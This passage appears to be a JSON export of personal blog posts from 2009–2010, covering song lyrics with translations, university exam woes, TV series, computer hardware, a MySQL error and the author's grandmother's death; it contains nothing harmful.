you\n大切な事は一つ\n梦见ること\n心だけは闭ざさないでいて\n好吧，这最后一首是真的有点凑数的成分啦。一般我推荐东西都5个5个的推荐的说，呵呵！但是虽然是凑数的，那也是相当的不可多得的好歌啊！Ronan Keating的The Long Goodbye，请君慢慢欣赏！\r附歌词：\rI know they say if you love somebody\r我知道人们都说如果你爱某个人\rYou should set them free (so they say)\r你就应该给他们自由（是的人们这么说）\rBut it sure is hard to do\r但这确实太难做到了\rYeah, it sure is hard to do\r是的，的确太难了\rAnd I know they say if they don't come back again\r我也知道人们都说如果爱人没有回来\rThen it's meant to be ( so they say)\r这就意味着他们不会再回来了（是的人们这么说）\rBut those words ain't pulling me through\r但这些话并不能让我得到解脱\rCos I'm still in love with you\r因为我还依然爱着你\rI spend each day here waiting for a miracle\r我每天都在这里等待着一个奇迹的发生\nBut it\u0026rsquo;s just you and me going through the mill\n但是这种等待只会让你我都备受煎熬\n(climbin\u0026rsquo; up a hill)\n（就像在爬一座大山）\nThis is the long goodbye\n这是一个漫长的分手过程\nSomebody tell me why\n谁能告诉我为什么？\nTwo lovers in love can\u0026rsquo;t make it\n两个坠入爱河的人却互相伤害\nJust what kind of love keeps breaking a heart?\n到底是哪种爱会一直撕碎着心房\nNo matter how hard I try\n无论我怎么的努力\nYou\u0026rsquo;re gonna make me cry\n你只是会让我伤心\nCome on, baby, it\u0026rsquo;s over, let\u0026rsquo;s face it\n别这样，Baby,一切都结束了，让我们面对这一切吧\nAll that\u0026rsquo;s happening here is a long goodbye\n发生在我们面前的一切就是一个漫长分手的过程\nSometimes I ask my heart did we really\n时常我扪心自问\nGive our love a chance (just one more chance)\n我们是否真的给过我们爱情机会（哪怕是一次）\nand I know without a doubt\n答案是不容置疑的\nI turned it inside out\n因为我已经把这一切认真的考虑一遍\nAnd if we walked away\n是否我们分开\nwould make more sense (only self defense)\n会更有意义一些（其实只是自我防卫）\nBut it tears me up inside\n这一切慢慢的撕碎着我的内心\nJust to think we still could try\n想想我们仍然应该为爱努力\nHow long must we keep riding on a carousel\n我们到底还要这样多久\nGoing round and round and never getting anywhere?\n只是不停的打转却找不到出口\n(on a wing and prayer)\n（让我们带着祝福奔向自由）\nThis is the long goodbye\n这是一个漫长的分手过程\nSomebody tell me why\n谁能告诉我为什么？\nTwo lovers in love can\u0026rsquo;t make it\n两个相爱的人却互相伤害\nJust what kind of love keeps breaking a heart?\n到底是哪种爱情会一直撕碎着心房\nNo matter how hard I try\n无论我怎么的努力\nYou\u0026rsquo;re gonna make me cry\n你只是会让我伤心\nCome on, baby, it\u0026rsquo;s over, Let\u0026rsquo;s face it\n别这样，Baby,一切都结束了，让我们面对这一切吧\nAll that\u0026rsquo;s happening here is the long goodbye\n发生在我们面前的一切就是一个漫长分手的过程\nChorus x 2\nThe long goodbye\n渐渐的分开\nThe long goodbye\n渐渐的分开\nThis is the long goodbye\n这就是一个漫长分手的过程\nSomeone please tell me why\n请问谁能告诉我这一切是为什么\nAre you ever coming back again\n你曾经是否回来过\nAre you ever coming back again\n你曾经是否回来过\nAre you ever coming back again\n你曾经是否回来过\nGuess I\u0026rsquo;m never coming back again\n我猜我永远也回不去了\nFade Away\n逐渐消失\n好吧，我得承认，推荐了5首歌，都是外文的，一首中文的都没有。没错，公子我是比较喜欢听英文歌啦～但是但是，谁又能怎么样呢，音乐本来就是无国界的，我们只要稀饭那个调调就行啦！Oh~yeah~\r突发奇想，想做个问卷调查，看下大家最稀饭上面5首歌的哪首歌哦，希望认真听过上面歌的人能够做下这个多选题，哈哈！\n最后的最后，附上这5首歌的下载地址：Lucky By Jason Marz/Lucky By Britney /Sign/ For You /The Long GoodBye\n","count":2991,"date":"2010年01月18日","featuredImage":null,"permalink":"https://imnerd.org/music-1.html","summary":"\u003cdiv class=\"audio-player-placeholder\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/music.jpg\" alt=\"\" width=\"450\" height=\"140\" /\u003e\u003c/div\u003e\r\n\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e 上篇日志有跟大家说火影的片头曲和片尾曲不错是吧，呵呵，今天特地做篇音乐志给大家分享下近期听到的一些好歌。不多不多，只有五首（本来说凑个十首出来的，想想还是算了，不跟风了，2010年的10已经够多了），希望大家慢慢欣赏哦！其实我这个人也不怎么听新歌的，一般就是老歌听啊听啊听，偶尔加两三首新歌进去。我电脑里面的歌基本上都是我4年前高二在听的，呵呵！好啦好啦，不多说啦，大家慢慢品味一下啦～\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\r\n\u003cp\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan\u003e\u003cspan style=\"color: #333399;\"\u003e 首先上场的是我在朋友博客听到的一首歌，Jason Mraz的Lucky，好歌不需要我多说，请大家按下播放键，可能有些许延迟，请大家耐心等待～\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":6,"title":"音乐的饕餮盛宴"},{"comments":{"data":[28],"errmsg":"","errno":0},"contents":" 额，这才刚刚出关呢，就有人催更新啦，呵呵！没错，公子我放假啦！哈哈~! 上面的图片怎么样？我觉得还可以哦！嘿嘿。下面就是我出关的第一篇水文啦～\n本来12号就考完了的，但是可恶的彪哥还留着什么课程设计要我们交呢！咳咳，说道彪哥，我真的得好好说下。话说还有一周要考试了吧，我们还有5门没有考，其中还有4门是要重点复习的（不要重点复习的就是那个英语啦…… :2 ），但是就是在这么伟大而又艰巨的时刻，我们的彪哥早上8点钟打个电话过来，让我们到做图室去。我们开始还以为他要给我们复习一下呢，结果没想成他居然跟我们说这周是课程设计周，让我们坐做图室画图！全班那个杯具啊，但是是彪哥啊，不敢不为，于是我来跟大家讲讲做图室的情况：第一天早上大部分人都在，只是零星的走了那么几个，第一天下午，只剩下一半了，第二天，也就几个人把，第三天，就两个女生了，第四天，做图室的门关了。啊！彪哥真是无聊，你说这么近要的关头他没事让我们画什么图啊！然后的然后，彪哥的构造考完了，然后的然后，老头的晶体光学也考完了，华丽丽的到了礼拜六了。突然想起来，彪哥似乎说过礼拜六如果天晴的话就去灵谷峰做野外实习！我那个杯具啊，周日下午要考结晶，周一下午要考大物，周二上午要考英语，节骨眼上，居然让我们去野外实习！无奈～ :3 虽然他之后美名曰“我也知道大家最近考试多，出来爬爬山，放松放松心情……”，但是彪哥的“一世英名”已经永远留在了我和同学的心里～然后的然后，结晶考完了，大物也过了，英语也单飞了，终于考完了。然后彪哥又神一样的出现了，让我们考完英语的第二天交课程设计。我的妈呀，要知道，两张剖面图，一张纲要图外加10页的文字概述，我可是一个都还没动啊～然后考完英语的那天晚上，月是那么明，夜是那么暗（额，好像前后矛盾了），我们几个（俺们寝室的）在那个不熄灯的阶一拼命的画呀画呀画，考完英语那天晚上似乎画到了12点多了吧，整个阶一都是我们专业的，拼命在那里画图呢！然后第二天实在是交不上去啊，就厚着脸给彪哥打了个电话问可不可以推迟点交？我X，彪哥当时就一个反问给我“那你准备什么时候交？”好有难度的问题啊，我想象就推迟一两天应该没什么问题吧，就说过两天交。结果彪哥很能看啊，只给我一天的时间……然后又是一个月黑风高的晚上，这次更加杯具，本来想熬夜画完的，结果传说中的不熄灯阶一居然没有开灯，传闻中的二教自习室居然也不开了。于是我只好苦命的躲在寝室用小手电照着在那里写啊写啊写……甚是可怜～ :11 当然，我是没那个本事熬夜了，12点多也坚持不住睡去了～早上7点就醒来脸也没洗牙也没刷就开始写报告，结果还是没赶上大家一起交。10点多钟与熬出10页的报告，赶快装订一下屁颠屁颠的跑到办公室交给他了～下面附上我辛苦劳作的成果：\n大图请进：传送门 （手机晚上拍的，大家讲究下看啊！）\n然后要说的杯具是我现在还在学校。其实这是算不上杯具的杯具啦……反正是种种原因（具体原因比裹脚布短一寸就是）导致我要到26号才能回家，那时估计又有好多人坐车，又要挤车了～杯具啊杯具！这两天搬到家（学校租的房子，就我一个人）来住了，甚是孤独，就照姐的那个“冷冷清清，凄凄惨惨戚戚”也不足以形容～唉！怎一个凉字了得～ :5 然后是本来上次升级内存把一个槽给掰坏了的，后来又拆开来看看，发现离上面不是很大，就拿了以前坏掉的P4的屏幕垫了一下（为啥拿屏幕？因为我看着那屏幕感觉透热性应该不错……额 :-| ）开机发现居然可以识别，太高兴了，嘿嘿，现在内存就有3G啦～\n刚刚看完火影忍者362和363，发现又换新歌了，觉得火影的歌曲都做的很不错的说！特别喜欢现在片头曲的开头英文部分，相当稀饭～新的片尾曲For You也不错的说！ ","count":1504,"date":"2010年01月16日","featuredImage":null,"permalink":"https://imnerd.org/holidaying.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/holiday.jpg\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/holiday.jpg\" alt=\"\" width=\"450\" height=\"121\" /\u003e\u003c/a\u003e\n\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e 额，这才刚刚出关呢，就有人催更新啦，呵呵！没错，公子我放假啦！哈哈~! 上面的图片怎么样？我觉得还可以哦！嘿嘿。下面就是我出关的第一篇水文啦～\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":4,"title":"又是放假进行时"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":" 作为09年的最后一天，好歹也得说些什么纪念一下我这无聊的一年吧！总的来说这一年是虚度了啊，无论是从学习来说还是从生活上来说，下面，一一挑些简单的重点的讲讲：\n一、网络生活：很早的时候就想有一个专门自己的地址，而不是跟着一长串托管商的符号，于是09年5月买了lizheming.cn这个域名，后来因为种种原因才接触到了网站程序，从ASP的PJ到PHP的WP，期间我学习到了很多。特别是WordPress，强大的DIY让我从动手中学习到了很多。感谢WordPress，感谢CCTV，感谢CCAV，感谢MTV，感谢RMVB……\n二、现实生活：怎么说呢，过的再不好，日子总还是要过的吧，所以觉得这个生活，还真没什么好说的。成天呆在学校里，难得出一次校门。哦，对，要说的话也就只有我上次的败家行动了。总的来说，09年的生活无风无浪无波澜，快乐的日子有，但我早已抛到脑后。希望10年也能这样平静的过去～\n三、学习方面：这个学期学校安排课程出奇的变态，前几周空的基本上一天就只有一节课，可是后面突然来了那么多的课，基本都是专业课，更郁闷的是，专业课还有实验滴～ :-| 所以搞得后来基本上一天至少8节课，那些天真累啊～好在日子熬出来了……另外下周要考试了，都没怎么听课，希望别挂科～\nPS:如果大家看到这篇文章，证明大家已经知道我博客的新地址了，我也正是换域名成功了，嘿嘿～新域名是：https://imnerd.org，imnerd=我是宅男！ :mrgreen: 哈哈，多好的一个名字，只是com被人注册了，只好退而求其次了 \u0026#x1f622; 最后的最后，谢谢来过的朋友09年对我博客的照顾，希望10年大家开开心心，快快乐乐！ ","count":681,"date":"2009年12月31日","featuredImage":null,"permalink":"https://imnerd.org/09-hui-gu.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/12/4599ffe002a3a.jpg\"\u003e\u003cimg class=\"aligncenter size-full wp-image-964\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/12/4599ffe002a3a.jpg\" alt=\"\" width=\"450\" height=\"125\" /\u003e\u003c/a\u003e\n\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e作为09年的最后一天，好歹也得说些什么纪念一下我这无聊的一年吧！总的来说这一年是虚度了啊，无论是从学习来说还是从生活上来说，下面，一一挑些简单的重点的讲讲：\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"零九温馨回顾"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"基本信息 加载中...\n文章数统计 时间段统计 ","count":20,"date":"2009年12月27日","featuredImage":null,"permalink":"https://imnerd.org/blog-stats.html","summary":"\u003ch2 id=\"基本信息\"\u003e基本信息\u003c/h2\u003e\n\u003cp id=\"basic-info\"\u003e加载中...\u003c/p\u003e\n\u003ch2 id=\"文章数统计\"\u003e文章数统计\u003c/h2\u003e\n\u003cdiv id=\"year-stat\" class=\"chart\"\u003e\u003c/div\u003e\n\u003cdiv id=\"month-stat\" class=\"chart\"\u003e\u003c/div\u003e\n\u003ch2 id=\"时间段统计\"\u003e时间段统计\u003c/h2\u003e\n\u003cdiv id=\"hour-stat\" class=\"chart\"\u003e\u003c/div\u003e\n\u003cdiv id=\"weekday-stat\" class=\"chart\"\u003e\u003c/div\u003e","time":1,"title":"博客文章统计"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"\n最近迷上看天赐了，一口气把它给看“完”了，可最令我杯具的是，Kyle XY这么好的美剧居然被腰斩了，我那个相当的心痛啊！呜呜……\n喜欢Kyle XY有很多原因的。最重要的是Matt Dallas很帅气啦，一般来说我是冲帅哥去的，嘿嘿……其次，更喜欢Kyle XY那种家的氛围，一直在向我们大家诉说家的概念。其实我比较佩服Nicole的，这么好的一个妈妈。还比较喜欢Kyle XY这种类型的美剧，虽然是科幻的，但是除了那个大脑100%开发之外，其它的特异功能总能跟科学结合在一起，比如说能够意念移动物体，是因为能够控制物质的极性，能够悬空漂浮，是因为控制了体内的水与大地的水的互斥性……让这一切的不合理之中又多了些合理出来。反正就一句话，爆喜欢Kyle XY的啦！\n早就知道它没结局了，可是前两天看到最后一集，居然爆出Cassidy跟Kyle是兄弟，我擦！留个这么大的坑就走，对我们观众也太不负责了吧！说什么收视率太低就砍了，我晕！ABC family估计是没了解下中国的国情……这个就好比吃东西，你吃都吃进喉咙里面去了，偏偏就是不让它下去，还不给它噎死啊！（其实我本来想用另一个例子的，但是太YD了，还是不说的好，哈哈！）论坛有人爆结局说什么Kyle既没跟Jessi在一起也没跟Amanda在一起，克隆人还是上市了等等等等，这个算什么结局啊，我超级不能接受。另外据说今天会发放最后一季的DVD，会给Fans一个好的交代，不过我到现在也还没在网上看到，难道说BT禁封之后网络就真的停滞了？还是时差问题？抑或是ABC family骗人啊？\nFind out December 22, when \"Kyle XY: The Final Season\" comes to DVD.\rIt\u0026rsquo;s true!\n\u0026ldquo;Kyle XY: The Final Season\u0026rdquo; DVD includes an exclusive bonus feature revealing how the story would have ended. That means all the Kyle mysteries will be answered \u0026ndash; once and for all.\nHear that? That\u0026rsquo;s the sound of millions of \u0026ldquo;Kyle XY\u0026rdquo; fans cheering \u0026ndash; and marking their Christmas lists.\nPlus, do we have to mention how cool it will be to watch the \u0026ldquo;Final Season\u0026rdquo; over and over from the beginning? All the Amanda v. Jessi drama. The startling revelations. The brand-new powers. The hot nemeses! Plus, now we get to find out how it all plays out.\nWe\u0026rsquo;re counting the days until December 22. How about you? 另外，似乎也比较喜欢Kyle XY的主角Matt Dallas啊，喜欢第一季那种婴儿动作，还有那双眼睛，啧啧，电死人不偿命啊！不过八卦的说似乎似乎Matt是gay哦，我不太确定，不是我很激动，是我是更加激动，哈哈！不过话说回来，这个世界，帅点的男人就要被说成gay，真是的，呵呵……米勒也是，马特也是，啧啧，世界崩溃了……最后放长Kyle的图吧！\n","count":952,"date":"2009年12月25日","featuredImage":null,"permalink":"https://imnerd.org/kyle-xy.html","summary":"\u003cp style=\"text-align: center;\"\u003e\u003cimg class=\"size-full wp-image-954 aligncenter\" title=\"Kyle XY\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/12/未标题-1.jpg\" alt=\"Kyle XY\" width=\"450\" height=\"120\" /\u003e\u003c/p\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"color:#333399;\"\u003e最近迷上看天赐了，一口气把它给看“完”了，可最令我杯具的是，Kyle XY这么好的美剧居然被腰斩了，我那个相当的心痛啊！呜呜……\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"color:#333399;\"\u003e喜欢Kyle XY有很多原因的。最重要的是Matt Dallas很帅气啦，一般来说我是冲帅哥去的，嘿嘿……其次，更喜欢Kyle XY那种家的氛围，一直在向我们大家诉说家的概念。其实我比较佩服Nicole的，这么好的一个妈妈。还比较喜欢Kyle XY这种类型的美剧，虽然是科幻的，但是除了那个大脑100%开发之外，其它的特异功能总能跟科学结合在一起，比如说能够意念移动物体，是因为能够控制物质的极性，能够悬空漂浮，是因为控制了体内的水与大地的水的互斥性……让这一切的不合理之中又多了些合理出来。反正就一句话，爆喜欢Kyle XY的啦！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"Kyle XY"},{"comments":{"data":[23],"errmsg":"","errno":0},"contents":"嗯哼？奇怪为什么放个Ipod Touch的头？额……其实也没什么，就是最近有点败家的冲动了……谁要是有闲置的通知我一声，呵呵……\n说到败家，最近确实败家了，不过没有上面那么严重就是，升级了下电脑配件而已。换了跟内存条，外带升级了下硬盘。都是让朋友在南昌买的，没办法，我属于硬件白痴级人物。然后在淘宝买了个ipod的硬盘盒，拿换下来的250GB的硬盘当移动硬盘了，后面上图，很帅气，我比较喜欢。（那只手大家可以忽略啊）杯具的是内存槽有一个被我掰坏了，本来打算两根一起用的，额，现在看来只能老老实实的用2GB的那根了。不是我手贱，是新手嘛……所以说我掰坏第一个槽之后第二个就没有坏了嘛……额……吐血……\n那么再来谈谈最近比较敏感的话题，变态被停。我主要想说的是上帝保佑，还好我的越狱在此之前已经完了，要不然我会气吐血的。不过话说回来，关个变态收集站有什么用？我觉得只要不禁止P2P这种下载行为(不知道变态是不是P2P)，我想变态是不会消亡的。另外小小嘀咕几句，似乎电驴变干净了许多啊(我同学的感慨……)。话说最近用以前存的一个死亡笔记的种子，还有用嘛，而且速度嗖嗖的，啧啧……广电这是治标不治本啊！再话说，似乎这个对我追动漫没什么影响哦……火影该更新的还是更新，犬夜叉该发布的还能提前发布，哈哈！这里要感慨一下，以前用在迅雷总搜到红旅的链接，每次都下不了，发现淫家用的是FTP的呀，要密码的哇……上次直接从它们网站下，一下就下下来了，呵呵，RP问题啊……这里推荐下红旅，更新动漫总是很前头，基本要提前那么一两天……\n那么再接下一件事情，上次看到猪猪搞了个新相册，用的是我以前用过的程序，想当年我玩PJ的时候就玩过了，觉得他搞的不错，所以我也想搞了，大概捣鼓了一下后，雏形是出来了，放上地址：怡红画廊。按照zern大哥的说法就是，怡红公子的地皮又多了一块……哈哈！PS：内含本人自曝照，欢迎大家践踏围观……其实我觉得吧，要是能有个直接显示外链相册的相册程序就更好了。不过正好流量用的不多，拿它来消耗消耗。再怎么也不能便宜主机商啊！呵呵！\n然后是最近玩的游戏，最近疯狂往军军电脑上装游戏，实况足球，极品飞车，红色警戒，NBA2K10，原型体 + 植物大战僵尸……话说植物大战僵尸这游戏，恩，似乎还挺好玩的，上张囧图\n恩，最后的最后，来谈谈学习，前些天课多的要死啊，三门专业课连着上，外加无数的实验课，我XX，基本一天最少是8节课，我汗颜……不过最近少了，因为下下周就要考试了，额……另外四级也考完了，简单一句话，做的相当不顺手，只有下个学期再来了……不过一想到分到B班，就囧囧啊……无奈啊无奈……\n最后的最后的最后，补一句：信春哥，得永生；信曾哥，咱不挂科！哈哈！ ","count":1119,"date":"2009年12月21日","featuredImage":null,"permalink":"https://imnerd.org/many-things-bai-jia.html","summary":"\u003cp style=\"text-align: left;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e\u003cimg class=\"aligncenter size-full wp-image-927\" title=\"ipod touch\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/12/ipod-touch.jpg\" alt=\"ipod touch\" width=\"450\" height=\"196\" /\u003e嗯哼？奇怪为什么放个Ipod Touch的头？额……其实也没什么，就是最近有点败家的冲动了……谁要是有闲置的通知我一声，呵呵……\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"事情多多+败家"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":" 哈哈，线性代数终于考完啦，本来昨天就想发篇日志上来的，结果这几次养成了做日志头的习惯，一下懒得做了，就没来得及发了。今天正好有空（话说今天是我最闲的一天了，有半个下午和一个晚上的自由时间，命苦啊……），赶忙就发了上来。\n晕死，没想到自己复习了那么久还考得那么烂，就是一坨！（这个似乎成了我们的口头禅了，额！话说那题目也出的太变态了吧，好好的一个求单位正交的，非得搞个那么麻烦的数字，还5/22，我都晕死了，开个方成啥样了，弄的我一直以为自己算错了（因为个人认为考试一般不会出现很复杂的数字的）。最后没辙啦，直接就写了几个正交公式在上面，额！悲哀！（其实正交都还好，就是单位化，70几的数平方相加再开方，不算的你头爆都有鬼！真希望有个计算器给我……） 额，好了应该没有什么想说的了。线性代数考完了，马上又快到考试周了，构造也要开始看了，构造老师很变态的说，他跟我们说课程结束就马上考试，OMG，要了卿命啊！然后是晶体光学，跟听天书没区别，天天围着光率体转（话说老师还要我们做一个光率体，额，跟小学生的美劳课一样……）。牢骚结束啦，再来给大家看看我这些天在网上淘到的东西吧，首先的首先，应该是我从异次元淘来的QQ2009的皮肤吧，嘿嘿。（点击图片浏览大图） 怎么样，很MAC吧，我个人是比较喜欢的，这个是下载地址：QQ Theme\n另外另外，还有一个比较帅气的东西，从安那里知道的啦，Asaph，一个图客程序，很小很强大的家伙哦！先看看我的地址啊：Delicious Dustbin。这个程序最特别的地方应该在于它的发布方式吧，就是利用标签的形式发表。大家如果有用Wordpress的快速发布功能的话就会明白，就是利用书签调用代码，完成发布的过程。跟搜狗传说中的云输入法类似。感兴趣的同学可以去试一下哦，不仅可以当作图客，还可以当作在线收藏夹使用哦！不过这个程序最大的弊端在于，你抓取的图片会另存到你的服务器上面，这对小空间的博主来说是很难过的事情啊！另外，这个程序当然是不可以爬墙的啦，我想抓个Picasa的图片都还要开个自由门，而且我上次抓嘀咕里面的图片也失败了，很郁闷！哦，说了半天还没给下载地址给大家呢，http://www.phoboslab.org/projects/asaph!\n","count":934,"date":"2009年11月30日","featuredImage":null,"permalink":"https://imnerd.org/%E7%BA%BF%E4%BB%A3%E5%B7%B2%E6%AD%BB-%E6%9C%89%E4%BA%8B%E7%83%A7%E7%BA%B8.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/11/%E8%80%83%E8%AF%95.png\" alt=\"\" /\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e哈哈，线性代数终于考完啦，本来昨天就想发篇日志上来的，结果这几次养成了做日志头的习惯，一下懒得做了，就没来得及发了。今天正好有空（话说今天是我最闲的一天了，有半个下午和一个晚上的自由时间，命苦啊……），赶忙就发了上来。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e晕死，没想到自己复习了那么久还考得那么烂，就是一坨！（这个似乎成了我们的口头禅了，额！话说那题目也出的太变态了吧，好好的一个求单位正交的，非得搞个那么麻烦的数字，还5/22，我都晕死了，开个方成啥样了，弄的我一直以为自己算错了（因为个人认为考试一般不会出现很复杂的数字的）。最后没辙啦，直接就写了几个正交公式在上面，额！悲哀！（其实正交都还好，就是单位化，70几的数平方相加再开方，不算的你头爆都有鬼！真希望有个计算器给我……）\n额，好了应该没有什么想说的了。线性代数考完了，马上又快到考试周了，构造也要开始看了，构造老师很变态的说，他跟我们说课程结束就马上考试，OMG，要了卿命啊！然后是晶体光学，跟听天书没区别，天天围着光率体转（话说老师还要我们做一个光率体，额，跟小学生的美劳课一样……）。牢骚结束啦，再来给大家看看我这些天在网上淘到的东西吧，首先的首先，应该是我从异次元淘来的QQ2009的皮肤吧，嘿嘿。（点击图片浏览大图）\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/11/450X250.jpg\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/11/450X250.jpg\" alt=\"\" width=\"450\" height=\"250\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":2,"title":"线代已死，有事烧纸"},{"comments":{"data":[42],"errmsg":"","errno":0},"contents":"\r上来露下脸，免得大家说我人间蒸发了。最近，特别是最近，烦得慌啊。14周就要靠线性代数了（也有说13周周末的），自己还啥都不知道～郁闷～14周还要靠英语口语，至今那8篇范文也才只背了3篇不到，还有最多两周的时间。17周还有更具压力性的四级考试，烦透它了。前几天装Ubuntu无意中又把我的一个资料盘设置成SWAP分区，结果一点资料都没留下来，全都灰飞烟灭了。这次真的是很彻底，重新来过了。我从第一次接触电脑到至今为止所收集的所有的资料啊…… \u0026#x1f622; 哭都没地方了～像我这样的数据无价论者真是想找快豆腐去撞啊。我决定了，我要买移动硬盘啊～[大家给我推荐个？]\n军军要买电脑了，这两天帮他看了看，其实说不上来，就那么几种，挑来挑去也没挑着满意的。他个人很倾向于联想的，虽然嘴上是说随便。但我认为联想的性价比很不高，比较推崇华硕的。最后他个人决定是联想的G450，我看中华硕的那款F81（匆匆一瞥看中的）……大家给个评价？\n今天选修课是真的成影视艺术课了，以前还会有点东西讲，今天就更直接了——今天我们欣赏下司汤达的红与黑～ :-| 话说，这老师的电影真的是老啊，还是中文的，不知道从哪个DVD里面拷过来的……今天的《红与黑》真是长，2个多小时还没看完，最后声音还不同步，我头都看酸了。大家也看得很是无趣，老师一点完名就走人了。顺便说句，于连真是YD啊……跟高老头里面一个人有的比\n最近微博客也有些问题，数据库连接总有错误，但是登录都没有问题，郁闷！\nQuery: INSERT INTO `entry` ( `prefix`, `content`, `time`, `from`) VALUES ('20', '这是一篇测试消息', '1257410923', 'Web')\rInfo: MySQL server has gone away\rCode: 2006\r有谁知道的赶紧对我吼声，我都憋屈死了～\rPS:我觉得我的PS又有长进了，哈哈……好了，证明书书写完毕，华丽丽的消失 ;) ","count":699,"date":"2009年11月08日","featuredImage":null,"permalink":"https://imnerd.org/si-wang-gui-lai.html","summary":"\u003cimg class=\"alignnone size-full wp-image-918\" title=\"死亡归来\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/11/死亡归来.png\" alt=\"死亡归来\" width=\"450\" height=\"127\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e上来露下脸，免得大家说我人间蒸发了。最近，特别是最近，烦得慌啊。14周就要靠线性代数了（也有说13周周末的），自己还啥都不知道～郁闷～14周还要靠英语口语，至今那8篇范文也才只背了3篇不到，还有最多两周的时间。17周还有更具压力性的四级考试，烦透它了。前几天装Ubuntu无意中又把我的一个资料盘设置成SWAP分区，结果一点资料都没留下来，全都灰飞烟灭了。这次真的是很彻底，重新来过了。我从第一次接触电脑到至今为止所收集的所有的资料啊…… \u0026#x1f622; 哭都没地方了～像我这样的数据无价论者真是想找快豆腐去撞啊。我决定了，我要买移动硬盘啊～[大家给我推荐个？]\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"死亡归来"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":"\r月挂枝头，蝉鸣彻夜，我坐在门口，旁边是外婆的遗体。昨天下午晚上的时候，我还在帮同学电脑装系统，刚刚和我打完电话的妈妈突然又打电话过来。接通电话，手机传来妈妈哭丧的声音，外婆过世了！\n自从外公过世后，外婆的身体一直不好，都是在床上度日。所以，对于外婆的过世，也说不上觉得突然。今天中午一点半的时候就搭舅舅的车到外婆家了。妈妈恰好也到了。外婆还没有入棺，当妈妈揭开遮盖外婆遗体的白布后，大家都忍不住哭了出来。外婆比上次又瘦了好多，哪里还有肉，基本就是皮包骨了，看的我是催人泪下。\n关于外婆的记忆，虽然我小时候是我外婆带的，但所存的记忆却是寥寥无几的。犹记得的是小时候外婆带我去采茶叶，但是似乎采的茶叶不符合规矩，在路上就给全倒了。我采茶的一点小知识也是那时候积累起来的。还有外婆有时候会带着我到屋后的竹林子里面去挖竹笋炒给我吃。另外还记得小时候不吃饭，外婆用是在背后插一根扫把枝来吓我。只是东西还是原来的东西，但人已经不是原来的人了。\n外公去世的时候我很可惜并没能到场。这次外婆去世正好赶上星期六，虽然说明天还有选修课，但不管怎么说还是得来的。\n早上的时候入棺的，比较郁闷的是我属羊的居然不能看，要避开，囧！抬出来的时候和进棺都不许看的，搞的我很郁闷。寿方似乎是现做的，以前外婆准备的那个不知道到哪里去了。另外，从这次的事情中，我真的能看出商人和学者这两者的本质区别。我妈属于商人派的，动不动就说到钱上面去，而我舅舅属于学者派的，对这样的东西根本不在乎，他更在乎的是这份情谊。（当然也不是说我妈对我外婆不好啦，只是太现实了而已，总是斤斤计较）在我看来，有些东西根本没必要吵起来的，毕竟是忌日……哎……另外再说一句，家和真的很重要。 月黑风高，烛光闪耀，我收了收心神，伸伸懒腰，该下去睡觉了。\n这 栋房子就是我外公和外婆住了一辈子的房子，很老式的泥土房。旁边大的一边还给了我一个舅舅去了，自己两口子就住在旁边的小屋子里面。（就是从照片这边看到 